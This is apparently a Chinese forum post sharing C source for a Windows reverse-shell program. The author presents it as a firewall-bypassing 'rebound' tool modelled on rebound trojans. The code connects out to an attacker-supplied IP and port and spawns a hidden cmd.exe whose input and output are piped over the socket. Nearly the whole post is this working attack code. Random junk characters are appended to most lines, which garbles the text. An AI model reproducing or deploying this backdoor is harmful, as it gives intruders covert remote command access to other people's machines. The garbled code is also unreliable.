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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9_ICNG%  
SQsSa1  
/* ============================== p5=|Y^g !  
Rebound port in Windows NT D*5hrkV9  
By wind,2006/7 y< R=  
===============================*/ PeX1wK%f  
#include !2CL1j0(  
#include Mkp/0|Q*  
k?BJdg)xJ  
#pragma comment(lib,"wsock32.lib") M x5`yT7  
%HQ.|  
void OutputShell(); FFhtj(hVgc  
SOCKET sClient; /z7VNkD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m4k Bj*6c{  
gV1[3dW  
void main(int argc,char **argv) ?71+ f{s  
{ &Wp8u#4L  
WSADATA stWsaData; S,fCV~Cio?  
int nRet; z@s5m}  
SOCKADDR_IN stSaiClient,stSaiServer; O40+M)e]  
fjo{av~]y  
if(argc != 3) n6WY&1ZE~  
{ 3OyS8`  
printf("Useage:\n\rRebound DestIP DestPort\n"); +`mGK:>  
return; ymY1o$qWB}  
} 5OIc(YhYf  
,?UM;^  
WSAStartup(MAKEWORD(2,2),&stWsaData); 75!9FqMZ}  
-${DW^txMZ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6[ qA`x#  
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stSaiClient.sin_family = AF_INET; x"kjs.d7[<  
stSaiClient.sin_port = htons(0); J;t 7&Zpe  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }F6<w{|  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r r`;W}3  
{ d|9b~_::V  
printf("Bind Socket Failed!\n"); { kSf{>Ia  
return; rjt8fN  
} ;?fS(Vz~  
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stSaiServer.sin_family = AF_INET; <mA'X V,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *F ^wtH`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #H [Bb2(j  
72W,FU~OD  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  I7+9~5p  
{ O-vGyNxP|  
printf("Connect Error!"); sML=5=otx  
return; ,ea^,H6  
} MfF~8  
OutputShell(); #$~ba %t9%  
} r'LVa6e"N  
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void OutputShell() # M, 7  
{ \mM<\-'p  
char szBuff[1024]; |rw%FM{F  
SECURITY_ATTRIBUTES stSecurityAttributes; N(6|yZ<J3M  
OSVERSIONINFO stOsversionInfo; mM.*b@d-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !2\ r LN  
STARTUPINFO stStartupInfo; gyHHoZc3  
char *szShell; ?,P3)&3g  
PROCESS_INFORMATION stProcessInformation; <Tw>|cFT  
unsigned long lBytesRead; })xp%<`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~\p]~qQ\K  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v dbO(  
stSecurityAttributes.lpSecurityDescriptor = 0; .9*wY0:  
stSecurityAttributes.bInheritHandle = TRUE; -hcS]~F  
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',3HlOJ:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ( GnuWc\p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `J<*9dq%  
XLk<*0t p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'AGto'Yy;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f|A riM  
stStartupInfo.wShowWindow = SW_HIDE; U/ V  
stStartupInfo.hStdInput = hReadPipe; {%)s.5Pfw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [%~ :@m  
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GetVersionEx(&stOsversionInfo); "]'?a$\ky:  
yw[#  
switch(stOsversionInfo.dwPlatformId) +cJy._pi!  
{ :a8 YV!X  
case 1: OV2 -8ERS  
szShell = "command.com"; t- u VZ!`\  
break; (2ur5uk+  
default: H~eRT1  
szShell = "cmd.exe"; !IU.a90V  
break; o56`  
} cUqn<Z<n  
-50 HB`t  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *D4hq=  
V6$xcAE"</  
send(sClient,szMsg,77,0); 0`.^MC?  
while(1) ^m#-9-`  
{ R_] {2~J+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iUMY!eqp  
if(lBytesRead) K/m3  
{ Sw^X2$h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 65 z"  
send(sClient,szBuff,lBytesRead,0); ^ &E}r{?  
} kp?w2+rz  
else 1XG!$ 4DW  
{ OJT1d-5p  
lBytesRead=recv(sClient,szBuff,1024,0); YzosZ! L!<  
if(lBytesRead<=0) break; dpQG[vXe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); { pu85'DV  
} ERwHLA  
} V^y^ ;0I}[  
')a(.f  
return; 5vo.[^ty  
}
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